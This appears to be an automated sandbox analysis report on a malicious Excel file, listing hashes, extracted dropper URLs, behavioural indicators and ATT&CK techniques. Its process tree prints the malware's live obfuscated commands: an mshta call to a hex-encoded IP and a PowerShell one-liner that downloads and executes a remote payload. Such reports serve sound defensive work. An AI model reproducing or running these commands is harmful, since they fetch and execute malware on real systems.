bbb0d9096b57b510f84f8b3100abcfa22d6b39dbdd0d182d403e6b78db9b4cff

General

Target
20208c00318433edc5b96e23efbed34d.xls
Size 129KB
Sample220118-qdtfbsbcc4
SHA256 bbb0d9096b57b510f84f8b3100abcfa22d6b39dbdd0d182d403e6b78db9b4cff
MD5 20208c00318433edc5b96e23efbed34d
SHA1 d963982b1198e67ec5cc2c81b4d3b639cde697c0
SHA512 e43c12f65cb2d2170ea71816ede2daf7a478274e91ae38fe07d15aece028734d21455b1786a9acf23de94fc0f60b9933ae58c9233e06106c06db51947317027b
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/PP91.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2064	680	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	2516	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1956	2516	WerFault.exe	58

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
680	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
680	EXCEL.EXE
680	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE
680	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 680 wrote to memory of 2064	680	EXCEL.EXE	56
PID 680 wrote to memory of 2064	680	EXCEL.EXE	56
PID 2064 wrote to memory of 2516	2064	cmd.exe	58
PID 2064 wrote to memory of 2516	2064	cmd.exe	58

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\20208c00318433edc5b96e23efbed34d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:680
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:2516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3400
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2516 -s 1720
      4⤵
      Program crash
      PID:1956

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 2516 -ip 2516
1⤵
PID:3532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/680-130-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

Download

memory/680-131-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

Download

memory/680-132-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

Download

memory/680-133-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

Download

memory/680-134-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

Download

memory/680-137-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp

Download

memory/680-138-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads